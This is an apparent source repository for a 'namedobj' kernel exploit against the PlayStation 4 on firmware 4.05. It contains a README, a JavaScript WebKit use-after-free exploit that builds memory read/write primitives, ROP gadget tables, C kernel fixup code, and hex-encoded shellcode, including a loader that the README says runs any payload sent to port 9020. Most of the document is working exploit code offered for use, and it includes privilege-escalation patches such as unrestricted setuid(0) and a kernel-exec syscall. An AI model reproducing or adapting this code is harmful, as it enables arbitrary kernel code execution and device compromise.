├── README.md ├── expl.js ├── fix.c ├── fix.js ├── gadgets.js ├── index.html ├── loader.js ├── prisonbreak.js ├── rop.js └── syscalls.js /README.md: -------------------------------------------------------------------------------- 1 | # PS4 4.05 Kernel Exploit 2 | --- 3 | ## Summary 4 | In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival. 5 | 6 | You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md). 7 | 8 | ## Patches Included 9 | The following patches are made by default in the kernel ROP chain: 10 | 1) Disable kernel write protection 11 | 2) Allow RWX (read-write-execute) memory mapping 12 | 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process 13 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 14 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. 15 | 16 | ## Notes 17 | - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel. 18 | - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads. 19 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel. 20 | - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date. 21 | - I've released a sample payload [here](http://www.mediafire.com/file/n4boybw0e06h892/debug_settings.bin) that will make the necessary patches to access the debug menu of the system via settings, jailbreaks, and escapes the sandbox. 22 | 23 | ## Contributors 24 | I was not alone in this exploit's development, and would like to thank those who helped me along the way below. 25 | 26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 27 | - [Flatz](https://twitter.com/flat_z) 28 | - [CTurt](https://twitter.com/CTurtE) 29 | - Anonymous 30 | -------------------------------------------------------------------------------- /expl.js: -------------------------------------------------------------------------------- 1 | /* Set up variables that will be used later on */ 2 | var _dview; 3 | 4 | /* 5 | Zero out a buffer 6 | */ 7 | function zeroFill( number, width ) 8 | { 9 | width -= number.toString().length; 10 | if ( width > 0 ) 11 | { 12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number; 13 | } 14 | return number + ""; // always return a string 15 | } 16 | 17 | /* 18 | Int64 library for address operations 19 | */ 20 | function int64(low,hi) { 21 | this.low = (low>>>0); 22 | this.hi = (hi>>>0); 23 | this.add32inplace = function(val) { 24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 25 | var new_hi = (this.hi >>> 0); 26 | if (new_lo < this.low) { 27 | new_hi++; 28 | } 29 | this.hi=new_hi; 30 | this.low=new_lo; 31 | } 32 | this.add32 = function(val) { 33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 34 | var new_hi = (this.hi >>> 0); 35 | if (new_lo < this.low) { 36 | new_hi++; 37 | } 38 | return new int64(new_lo, new_hi); 39 | } 40 | this.sub32 = function(val) { 41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 42 | var new_hi = (this.hi >>> 0); 43 | if (new_lo > (this.low) & 0xFFFFFFFF) { 44 | new_hi--; 45 | } 46 | return new int64(new_lo, new_hi); 47 | } 48 | this.sub32inplace = function(val) { 49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 50 | var new_hi = (this.hi >>> 0); 51 | if (new_lo > (this.low) & 0xFFFFFFFF) { 52 | new_hi--; 53 | } 54 | this.hi=new_hi; 55 | this.low=new_lo; 56 | } 57 | this.and32 = function(val) { 58 | var new_lo = this.low & val; 59 | var new_hi = this.hi; 60 | return new int64(new_lo, new_hi); 61 | } 62 | this.and64 = function(vallo, valhi) { 63 | var new_lo = this.low & vallo; 64 | var new_hi = this.hi & valhi; 65 | return new int64(new_lo, new_hi); 66 | } 67 | this.toString = function(val) { 68 | val = 16; // eh 69 | var lo_str = (this.low >>> 0).toString(val); 70 | var hi_str = (this.hi >>> 0).toString(val); 71 | if(this.hi == 0) return lo_str; 72 | else { 73 | lo_str = zeroFill(lo_str, 8) 74 | } 75 | return hi_str+lo_str; 76 | } 77 | this.toPacked = function() { 78 | return {hi: this.hi, low: this.low}; 79 | } 80 | this.setPacked = function(pck) { 81 | this.hi=pck.hi; 82 | this.low=pck.low; 83 | return this; 84 | } 85 | 86 | return this; 87 | } 88 | 89 | var memPressure = new Array(400); // For forcing GC via memory pressure 90 | var stackFrame = []; // Our fake stack in memory 91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00) 92 | var stackPeek = 0; 93 | 94 | /* Force garbage collection via memory pressure */ 95 | var doGarbageCollection = function() 96 | { 97 | /* Apply memory pressure */ 98 | for (var i = 0; i < memPressure.length; i++) 99 | { 100 | memPressure[i] = new Uint32Array(0x10000); 101 | } 102 | 103 | /* Zero out the buffer */ 104 | for (var i = 0; i < memPressure.length; i++) 105 | { 106 | memPressure[i] = 0; 107 | } 108 | } 109 | 110 | /* For peeking the stack (reading) */ 111 | function peek_stack() 112 | { 113 | var mem; 114 | var retno; 115 | var oldRetno; 116 | 117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */ 118 | retno = 0xFFFF; 119 | 120 | arguments.length = 121 | { 122 | valueOf: function() 123 | { 124 | oldRetno = retno; 125 | retno = 1; 126 | return oldRetno; 127 | } 128 | } 129 | 130 | /* 131 | What this essentially does is when function.prototype.apply() is called, it will 132 | check arguments length. Where it should return 1 (the actual size), it actually 133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read 134 | on the stack, and allows us to control uninitialized memory regions 135 | */ 136 | var args = arguments; 137 | 138 | (function() { 139 | (function() { 140 | (function() { 141 | mem = arguments[0xFF00]; 142 | }).apply(undefined, args); 143 | }).apply(undefined, stackFrame); 144 | }).apply(undefined, stackFrame); 145 | 146 | stackPeek = mem; 147 | 148 | return mem; 149 | } 150 | 151 | /* For poking the stack (writing) */ 152 | function poke_stack(val) 153 | { 154 | /* Set stack frame value @ frameIndex */ 155 | stackFrame[frameIndex] = val; 156 | 157 | /* Apply to uninitialized memory region on the stack */ 158 | (function() { 159 | (function() { 160 | (function() { 161 | }).apply(null, stackFrame); 162 | }).apply(null, stackFrame); 163 | }).apply(null, stackFrame); 164 | 165 | /* Clear value in stack frame @ frameIndex as it's been applied already */ 166 | stackFrame[frameIndex] = ""; 167 | } 168 | 169 | /* Run exploit PoC */ 170 | function run() { 171 | try 172 | { 173 | /* 174 | Set each integer in the stackframe to it's index, this way we can peek 175 | the stack to align it 176 | */ 177 | for(var i = 0; i < 0xFFFF; i++) 178 | { 179 | stackFrame[i] = i; 180 | } 181 | 182 | /* 183 | Attempt to poke and peek the stack. If the peek returns null, it means 184 | the out-of-bounds read failed, throw an exception and catch it. 185 | */ 186 | frameIndex = 0; 187 | poke_stack(0); 188 | 189 | if (peek_stack() == undefined) { 190 | throw "System is not vulnerable!"; 191 | } 192 | 193 | /* Setup our stack frame so our target object reference resides inside of it */ 194 | frameIndex = 0; 195 | poke_stack(0); 196 | 197 | peek_stack(); 198 | frameIndex = stackPeek; 199 | 200 | /* Align the stack frame */ 201 | poke_stack(0x4141); 202 | 203 | for (var align = 0; align < 8; align++) 204 | (function(){})(); 205 | 206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */ 207 | peek_stack(); 208 | 209 | if (stackPeek != 0x4141) 210 | { 211 | throw "Couldn't align stack frame to stack!"; 212 | } 213 | 214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */ 215 | var butterflySpray = new Array(0x1000); 216 | 217 | for (var i = 0; i < 0x1000; i++) 218 | { 219 | butterflySpray[i] = []; 220 | 221 | for (var k = 0; k < 0x40; k++) 222 | { 223 | butterflySpray[i][k] = 0x42424242; 224 | } 225 | 226 | butterflySpray[i].unshift(butterflySpray[i].shift()); 227 | } 228 | 229 | /* Spray marked space */ 230 | var sprayOne = new Array(0x100); 231 | 232 | for (var i = 0; i < 0x100; i++) 233 | { 234 | sprayOne[i] = [1]; 235 | 236 | if (!(i & 3)) 237 | { 238 | for (var k = 0; k < 0x8; k++) 239 | { 240 | sprayOne[i][k] = 0x43434343; 241 | } 242 | } 243 | 244 | sprayOne[i].unshift(sprayOne[i].shift()); 245 | } 246 | 247 | var sprayTwo = new Array(0x400); 248 | 249 | for (var i = 0; i < 0x400; i++) 250 | { 251 | sprayTwo[i] = [2]; 252 | 253 | if (!(i & 3)) 254 | { 255 | for (var k = 0; k < 0x80; k++) 256 | { 257 | sprayTwo[i][k] = 0x43434343; 258 | } 259 | } 260 | 261 | sprayTwo[i].unshift(sprayTwo[i].shift()); 262 | } 263 | 264 | /* Setup target object for UAF, spray */ 265 | var uafTarget = []; 266 | 267 | for (var i = 0; i < 0x80; i++) { 268 | uafTarget[i] = 0x42420000; 269 | } 270 | 271 | /* Store target on the stack to maintain a reference after forced garbage collection */ 272 | poke_stack(uafTarget); 273 | 274 | /* Remove references so they're free'd when garbage collection occurs */ 275 | uafTarget = 0; 276 | sprayOne = 0; 277 | sprayTwo = 0; 278 | 279 | /* Force garbage collection */ 280 | for (var k = 0; k < 4; k++) 281 | doGarbageCollection(); 282 | 283 | /* Re-collect our maintained reference from the stack */ 284 | peek_stack(); 285 | uafTarget = stackPeek; 286 | 287 | stackPeek = 0; 288 | 289 | /* 290 | We now have access to uninitialized memory, force a heap overflow by 291 | overwriting the "length" field of our UAF'd object's butterfly via spraying 292 | */ 293 | for (var i = 0; i < 0x1000; i++) 294 | { 295 | for (var k = 0x0; k < 0x80; k++) 296 | { 297 | butterflySpray[i][k] = 0x7FFFFFFF; 298 | 299 | /* 300 | Find our UAF'd object via modified length, which should be the maximum 301 | value for a 32-bit integer. If it is, we've successfully primitive our 302 | butterfly's length header! 303 | */ 304 | if (uafTarget.length == 0x7FFFFFFF) 305 | { 306 | /* Store index of butterfly for UAF'd object for primitiveSpray */ 307 | var butterflyIndex = i; 308 | 309 | /* Remove all references except what we need to free memory */ 310 | for (var i = 0; i < butterflyIndex; i++) 311 | butterflySpray[i] = 0; 312 | 313 | for (var i = butterflyIndex + 1; i < 0x1000; i++) 314 | butterflySpray[i] = 0; 315 | 316 | doGarbageCollection(); 317 | 318 | /* Spray to obtain a read/write primitive */ 319 | var primitiveSpray = new Array(0x20000); 320 | var potentialPrim = new ArrayBuffer(0x1000); 321 | 322 | for (var i = 0; i < 0x20000; i++) 323 | { 324 | primitiveSpray[i] = i; 325 | } 326 | 327 | var overlap = new Array(0x80); 328 | 329 | /* Setup potential uint32array slaves for our read/write primitive */ 330 | for (var i = 0; i < 0x20000; i++) 331 | { 332 | primitiveSpray[i] = new Uint32Array(potentialPrim); 333 | } 334 | 335 | /* Find a slave uint32array from earlier spray */ 336 | var currentQword = 0x10000; 337 | var found = false; 338 | var smashedButterfly = new int64(0,0); 339 | var origData = new int64(0, 0); 340 | var locateHelper = new int64(0, 0); 341 | 342 | while (!found) 343 | { 344 | /* 345 | Change qword value for uint32array size to 0x1337 in UAF'd object 346 | to defeat U-ASLR 347 | */ 348 | var savedVal = uafTarget[currentQword]; 349 | uafTarget[currentQword] = 0x1337; 350 | 351 | /* Check sprayed uint32array slaves for modified size */ 352 | for (var i = 0; i < 0x20000; i++) 353 | { 354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000) 355 | { 356 | /* 357 | Found our primitive! Restore uint32array size as 0x1000 is 358 | sufficient. 359 | */ 360 | uafTarget[currentQword] = savedVal; 361 | 362 | var primitive = primitiveSpray[i]; 363 | var overlap = [1337]; 364 | 365 | uafTarget[currentQword - 5] = overlap; 366 | 367 | smashedButterfly.low = primitive[2]; 368 | smashedButterfly.hi = primitive[3]; 369 | smashedButterfly.keep_gc = overlap; 370 | 371 | /* Find previous ArrayBufferView */ 372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2]; 373 | 374 | butterflySpray[butterflyIndex][k] = 0; 375 | 376 | origData.low = primitive[4]; 377 | origData.hi = primitive[5]; 378 | 379 | primitive[4] = primitive[12]; 380 | primitive[5] = primitive[13]; 381 | primitive[14] = 0x40; 382 | 383 | /* Find our uint32array slave for writing values */ 384 | var slave = undefined; 385 | 386 | for (var k = 0; k < 0x20000; k++) 387 | { 388 | if (primitiveSpray[k].length == 0x40) 389 | { 390 | slave = primitiveSpray[k]; 391 | break; 392 | } 393 | } 394 | 395 | if(!slave) 396 | throw "Could not find slave for write primitive!"; 397 | 398 | /* Set primitive address to that of the smashed butterfly's */ 399 | primitive[4] = smashedButterfly.low; 400 | primitive[5] = smashedButterfly.hi; 401 | 402 | /* Setup primitive and slave for primitive functions */ 403 | overlap[0] = uafTarget; 404 | 405 | var targetEntry = new int64(slave[0], slave[1]); 406 | 407 | primitive[4] = targetEntry.low; 408 | primitive[5] = targetEntry.hi; 409 | slave[2] = 0; 410 | slave[3] = 0; 411 | 412 | /* Clear references for future collection from GC */ 413 | uafTarget = 0; 414 | primitiveSpray = 0; 415 | 416 | /* Finally restore primitive address to it's original state */ 417 | primitive[4] = origData.low; 418 | primitive[5] = origData.hi; 419 | 420 | /* 421 | Derive primitive functions 422 | */ 423 | 424 | /* Purpose: Leak object addresses for ASLR defeat */ 425 | var leakval = function(obj) 426 | { 427 | primitive[4] = smashedButterfly.low; 428 | primitive[5] = smashedButterfly.hi; 429 | 430 | overlap[0] = obj; 431 | 432 | var val = new int64(slave[0], slave[1]); 433 | 434 | slave[0] = 1337; 435 | slave[1] = 0xffff0000; 436 | 437 | primitive[4] = origData.low; 438 | primitive[5] = origData.hi; 439 | 440 | return val; 441 | } 442 | 443 | /* Purpose: Create a value (used for checking the primitive) */ 444 | var createval = function(val) 445 | { 446 | primitive[4] = smashedButterfly.low; 447 | primitive[5] = smashedButterfly.hi; 448 | 449 | slave[0] = val.low; 450 | slave[1] = val.hi; 451 | 452 | var val = overlap[0]; 453 | 454 | slave[0] = 1337; 455 | slave[1] = 0xffff0000; 456 | 457 | primitive[4] = origData.low; 458 | primitive[5] = origData.hi; 459 | 460 | return val; 461 | } 462 | 463 | /* Purpose: Read 32-bits (or 4 bytes) from address */ 464 | var read32 = function(addr) 465 | { 466 | primitive[4] = addr.low; 467 | primitive[5] = addr.hi; 468 | 469 | var val = slave[0]; 470 | 471 | primitive[4] = origData.low; 472 | primitive[5] = origData.hi; 473 | 474 | return val; 475 | } 476 | 477 | /* Purpose: Read 64-bits (or 8 bytes) from address */ 478 | var read64 = function(addr) 479 | { 480 | primitive[4] = addr.low; 481 | primitive[5] = addr.hi; 482 | 483 | var val = new int64(slave[0], slave[1]); 484 | 485 | primitive[4] = origData.low; 486 | primitive[5] = origData.hi; 487 | 488 | return val; 489 | } 490 | 491 | /* Purpose: Write 32-bits (or 4 bytes) to address */ 492 | var write32 = function(addr, val) 493 | { 494 | primitive[4] = addr.low; 495 | primitive[5] = addr.hi; 496 | 497 | slave[0] = val; 498 | 499 | primitive[4] = origData.low; 500 | primitive[5] = origData.hi; 501 | } 502 | 503 | /* Purpose: Write 64-bits (or 8 bytes) to address */ 504 | var write64 = function(addr, val) 505 | { 506 | primitive[4] = addr.low; 507 | primitive[5] = addr.hi; 508 | 509 | if (val == undefined) 510 | { 511 | val = new int64(0,0); 512 | } 513 | if (!(val instanceof int64)) 514 | { 515 | val = new int64(val,0); 516 | } 517 | 518 | slave[0] = val.low; 519 | slave[1] = val.hi; 520 | 521 | primitive[4] = origData.low; 522 | primitive[5] = origData.hi; 523 | } 524 | 525 | if (createval(leakval(0x1337)) != 0x1337) { 526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!"; 527 | } 528 | 529 | var testData = [1,2,3,4,5,6,7,8]; 530 | 531 | var testAddr = leakval(testData); 532 | 533 | var butterflyAddr = read64(testAddr.add32(8)); 534 | 535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) { 536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!"; 537 | } 538 | 539 | if (window.postexploit) { 540 | window.postexploit({ 541 | read4: read32, 542 | read8: read64, 543 | write4: write32, 544 | write8: write64, 545 | leakval: leakval, 546 | createval: createval 547 | }); 548 | } 549 | return 2; 550 | } 551 | } 552 | uafTarget[currentQword] = savedVal; 553 | currentQword ++; 554 | } 555 | } 556 | } 557 | } 558 | /* 559 | If we ended up here, the exploit failed to find our resized object/we were 560 | not able to modify the UaF'd target's length :( 561 | */ 562 | return 1; 563 | } 564 | catch (e) 565 | { 566 | alert(e); 567 | } 568 | } 569 | 570 | //window.onload = function() { document.getElementById("clck").innerHTML = 'go'; }; 571 | window.onload = function() { run(); }; -------------------------------------------------------------------------------- /fix.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define KERN_XFAST_SYSCALL 0x30EB30 4 | #define KERN_MALLOC 0x1D1700 5 | #define KERN_FREE 0x1D18D0 6 | #define KERN_PRINTF 0x347580 7 | 8 | int main(void) 9 | { 10 | int i; 11 | void *addr; 12 | uint8_t *ptrKernel; 13 | 14 | int (*printf)(const char *fmt, ...) = NULL; 15 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL; 16 | void (*free)(void *addr, void *type) = NULL; 17 | 18 | // Get kbase and resolve kernel symbols 19 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL); 20 | malloc = (void *)&ptrKernel[KERN_MALLOC]; 21 | free = (void *)&ptrKernel[KERN_FREE]; 22 | printf = (void *)&ptrKernel[KERN_PRINTF]; 23 | 24 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000)); 25 | 26 | // Fix stuff in object that's corrupted by exploit 27 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964; 28 | *(uint64_t *)(objBase + 0x0F0) = 0; 29 | *(uint64_t *)(objBase + 0x0F8) = 0; 30 | 31 | // Malloc so object doesn't get smashed 32 | for (i = 0; i < 512; i++) 33 | { 34 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02); 35 | 36 | printf("Alloc: 0x%lx\n", addr); 37 | 38 | if (addr == (void *)objBase) 39 | break; 40 | 41 | free(addr, &ptrKernel[0x133F680]); 42 | } 43 | 44 | printf("Object Dump 0x%lx\n", objBase); 45 | 46 | for (i = 0; i < 0x180; i += 8) 47 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i)); 48 | 49 | // EE :) 50 | 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /fix.js: -------------------------------------------------------------------------------- 1 | function writeFix(p, addr) { 2 | p.write4(addr.add32(0x00000000), 0x00000be9); 3 | p.write4(addr.add32(0x00000004), 0x90909000); 4 | p.write4(addr.add32(0x00000008), 0x90909090); 5 | p.write4(addr.add32(0x0000000c), 0x90909090); 6 | p.write4(addr.add32(0x00000010), 0x0082b955); 7 | p.write4(addr.add32(0x00000014), 0x8948c000); 8 | p.write4(addr.add32(0x00000018), 0x415741e5); 9 | p.write4(addr.add32(0x0000001c), 0x41554156); 10 | p.write4(addr.add32(0x00000020), 0x83485354); 11 | p.write4(addr.add32(0x00000024), 0x320f18ec); 12 | p.write4(addr.add32(0x00000028), 0x89d58949); 13 | p.write4(addr.add32(0x0000002c), 0x64b948c0); 14 | p.write4(addr.add32(0x00000030), 0x77737069); 15 | p.write4(addr.add32(0x00000034), 0x49000000); 16 | p.write4(addr.add32(0x00000038), 0x4120e5c1); 17 | p.write4(addr.add32(0x0000003c), 0x000200bc); 18 | p.write4(addr.add32(0x00000040), 0xc5094900); 19 | p.write4(addr.add32(0x00000044), 0xd0b58d4d); 20 | p.write4(addr.add32(0x00000048), 0x49ffcf14); 21 | p.write4(addr.add32(0x0000004c), 0x8a509d8d); 22 | p.write4(addr.add32(0x00000050), 0x81490003); 23 | p.write4(addr.add32(0x00000054), 0x030b50c5); 24 | p.write4(addr.add32(0x00000058), 0x868d4901); 25 | p.write4(addr.add32(0x0000005c), 0x001d18d0); 26 | p.write4(addr.add32(0x00000060), 0x00c68149); 27 | p.write4(addr.add32(0x00000064), 0x48001d17); 28 | p.write4(addr.add32(0x00000068), 0x48c04589); 29 | p.write4(addr.add32(0x0000006c), 0xad0000a1); 30 | p.write4(addr.add32(0x00000070), 0x000000de); 31 | p.write4(addr.add32(0x00000074), 0x45894800); 32 | p.write4(addr.add32(0x00000078), 0x888948c8); 33 | p.write4(addr.add32(0x0000007c), 0x000000e0); 34 | p.write4(addr.add32(0x00000080), 0xf080c748); 35 | p.write4(addr.add32(0x00000084), 0x00000000); 36 | p.write4(addr.add32(0x00000088), 0x48000000); 37 | p.write4(addr.add32(0x0000008c), 0x00f880c7); 38 | p.write4(addr.add32(0x00000090), 0x00000000); 39 | p.write4(addr.add32(0x00000094), 0x1aeb0000); 40 | p.write4(addr.add32(0x00000098), 0x00841f0f); 41 | p.write4(addr.add32(0x0000009c), 0x00000000); 42 | p.write4(addr.add32(0x000000a0), 0x4cee894c); 43 | p.write4(addr.add32(0x000000a4), 0x8b48ff89); 44 | p.write4(addr.add32(0x000000a8), 0xd0ffc045); 45 | p.write4(addr.add32(0x000000ac), 0x01ec8341); 46 | p.write4(addr.add32(0x000000b0), 0x02ba2774); 47 | p.write4(addr.add32(0x000000b4), 0x4c000000); 48 | p.write4(addr.add32(0x000000b8), 0x80bfee89); 49 | p.write4(addr.add32(0x000000bc), 0x41000001); 50 | p.write4(addr.add32(0x000000c0), 0x8d48d6ff); 51 | p.write4(addr.add32(0x000000c4), 0x00006f3d); 52 | p.write4(addr.add32(0x000000c8), 0xc7894900); 53 | p.write4(addr.add32(0x000000cc), 0x31c68948); 54 | p.write4(addr.add32(0x000000d0), 0x4cd3ffc0); 55 | p.write4(addr.add32(0x000000d4), 0x75c87d39); 56 | p.write4(addr.add32(0x000000d8), 0xe43145c7); 57 | p.write4(addr.add32(0x000000dc), 0xc8758b48); 58 | p.write4(addr.add32(0x000000e0), 0x5f3d8d48); 59 | p.write4(addr.add32(0x000000e4), 0x31000000); 60 | p.write4(addr.add32(0x000000e8), 0x0fd3ffc0); 61 | p.write4(addr.add32(0x000000ec), 0x0000441f); 62 | p.write4(addr.add32(0x000000f0), 0x0000a148); 63 | p.write4(addr.add32(0x000000f4), 0x0000dead); 64 | p.write4(addr.add32(0x000000f8), 0x89440000); 65 | p.write4(addr.add32(0x000000fc), 0x3d8d48e6); 66 | p.write4(addr.add32(0x00000100), 0x0000005c); 67 | p.write4(addr.add32(0x00000104), 0x20148b4a); 68 | p.write4(addr.add32(0x00000108), 0x08c48349); 69 | p.write4(addr.add32(0x0000010c), 0xd3ffc031); 70 | p.write4(addr.add32(0x00000110), 0x80fc8149); 71 | p.write4(addr.add32(0x00000114), 0x75000001); 72 | p.write4(addr.add32(0x00000118), 0x3d8d48d7); 73 | p.write4(addr.add32(0x0000011c), 0x00000060); 74 | p.write4(addr.add32(0x00000120), 0xd3ffc031); 75 | p.write4(addr.add32(0x00000124), 0x18c48348); 76 | p.write4(addr.add32(0x00000128), 0x415bc031); 77 | p.write4(addr.add32(0x0000012c), 0x415d415c); 78 | p.write4(addr.add32(0x00000130), 0x5d5f415e); 79 | p.write4(addr.add32(0x00000134), 0x909090c3); 80 | p.write4(addr.add32(0x00000138), 0x6f6c6c41); 81 | p.write4(addr.add32(0x0000013c), 0x30203a63); 82 | p.write4(addr.add32(0x00000140), 0x786c2578); 83 | p.write4(addr.add32(0x00000144), 0x624f000a); 84 | p.write4(addr.add32(0x00000148), 0x7463656a); 85 | p.write4(addr.add32(0x0000014c), 0x6d754420); 86 | p.write4(addr.add32(0x00000150), 0x78302070); 87 | p.write4(addr.add32(0x00000154), 0x0a786c25); 88 | p.write4(addr.add32(0x00000158), 0x00000000); 89 | p.write4(addr.add32(0x0000015c), 0x00000000); 90 | p.write4(addr.add32(0x00000160), 0x6265443c); 91 | p.write4(addr.add32(0x00000164), 0x203e6775); 92 | p.write4(addr.add32(0x00000168), 0x656a624f); 93 | p.write4(addr.add32(0x0000016c), 0x2b207463); 94 | p.write4(addr.add32(0x00000170), 0x25783020); 95 | p.write4(addr.add32(0x00000174), 0x3a783330); 96 | p.write4(addr.add32(0x00000178), 0x25783020); 97 | p.write4(addr.add32(0x0000017c), 0x000a786c); 98 | p.write4(addr.add32(0x00000180), 0x6265443c); 99 | p.write4(addr.add32(0x00000184), 0x203e6775); 100 | p.write4(addr.add32(0x00000188), 0x7473754a); 101 | p.write4(addr.add32(0x0000018c), 0x726f4620); 102 | p.write4(addr.add32(0x00000190), 0x7468203a); 103 | p.write4(addr.add32(0x00000194), 0x3a737074); 104 | p.write4(addr.add32(0x00000198), 0x77772f2f); 105 | p.write4(addr.add32(0x0000019c), 0x6f792e77); 106 | p.write4(addr.add32(0x000001a0), 0x62757475); 107 | p.write4(addr.add32(0x000001a4), 0x6f632e65); 108 | p.write4(addr.add32(0x000001a8), 0x61772f6d); 109 | p.write4(addr.add32(0x000001ac), 0x3f686374); 110 | p.write4(addr.add32(0x000001b0), 0x4a563d76); 111 | p.write4(addr.add32(0x000001b4), 0x6d6c5247); 112 | p.write4(addr.add32(0x000001b8), 0x4c6c6133); 113 | p.write4(addr.add32(0x000001bc), 0x00000a59); 114 | } 115 | -------------------------------------------------------------------------------- /gadgets.js: -------------------------------------------------------------------------------- 1 | /* For storing the gadget and import map */ 2 | window.gadgetMap = []; 3 | window.basicImportMap = []; 4 | 5 | /* All function stubs / imports from other modules */ 6 | var generateBasicImportMap = function() 7 | { 8 | window.basicImportMap = 9 | { 10 | '4.05': 11 | { 12 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel 13 | '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel 14 | '__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel 15 | } 16 | }; 17 | } 18 | 19 | /* All gadgets from the binary of available modules */ 20 | var generateGadgetMap = function() 21 | { 22 | window.gadgetMap = 23 | { 24 | '4.05': 25 | { 26 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E), 27 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1), 28 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B), 29 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B), 30 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660), 31 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D), 32 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F), 33 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0), 34 | 35 | 'push rax': getGadget('libSceWebKit2', 0x126EFC), 36 | 37 | 'add rax, rcx': getGadget('libSceWebKit2', 0x86F06), 38 | 39 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863), 40 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7), 41 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70), 42 | 43 | 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D), 44 | 45 | 'jmp addr': getGadget('libSceWebKit2', 0x852624), 46 | 47 | 'infloop': getGadget('libSceWebKit2', 0x45A11), 48 | 'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9), 49 | 'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80), 50 | 51 | 'ret': getGadget('libSceWebKit2', 0xC8), 52 | 'syscall': getGadget('libSceWebKit2', 0x1C69388), 53 | } 54 | }; 55 | } 56 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | JailbreakMe PS4 4.05 (FULL JAILBREAK) 5 | 6 | 7 | 8 | 9 | 10 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 665 | 666 | 667 | 668 |

...

WebKit by qwertyoruiopz
Kernel by SpecterDev
This exploit contains a 4.05 kernel exploit!
669 |

670 | 
671 | 
672 | 


--------------------------------------------------------------------------------
/loader.js:
--------------------------------------------------------------------------------
 1 | function writeLoader(p, addr) {
 2 | 	p.write4(addr.add32(0x00000000), 0x54415541);
 3 | 	p.write4(addr.add32(0x00000004), 0x83485355);
 4 | 	p.write4(addr.add32(0x00000008), 0xd23118ec);
 5 | 	p.write4(addr.add32(0x0000000c), 0x000001be);
 6 | 	p.write4(addr.add32(0x00000010), 0x0002bf00);
 7 | 	p.write4(addr.add32(0x00000014), 0x04c60000);
 8 | 	p.write4(addr.add32(0x00000018), 0x44c61024);
 9 | 	p.write4(addr.add32(0x0000001c), 0xc7020124);
10 | 	p.write4(addr.add32(0x00000020), 0x00042444);
11 | 	p.write4(addr.add32(0x00000024), 0x66000000);
12 | 	p.write4(addr.add32(0x00000028), 0x022444c7);
13 | 	p.write4(addr.add32(0x0000002c), 0x44c63c23);
14 | 	p.write4(addr.add32(0x00000030), 0xc6000a24);
15 | 	p.write4(addr.add32(0x00000034), 0x000b2444);
16 | 	p.write4(addr.add32(0x00000038), 0x0c2444c6);
17 | 	p.write4(addr.add32(0x0000003c), 0x2444c600);
18 | 	p.write4(addr.add32(0x00000040), 0x44c6000d);
19 | 	p.write4(addr.add32(0x00000044), 0xc6000e24);
20 | 	p.write4(addr.add32(0x00000048), 0x000f2444);
21 | 	p.write4(addr.add32(0x0000004c), 0x000097e8);
22 | 	p.write4(addr.add32(0x00000050), 0x0010ba00);
23 | 	p.write4(addr.add32(0x00000054), 0x89480000);
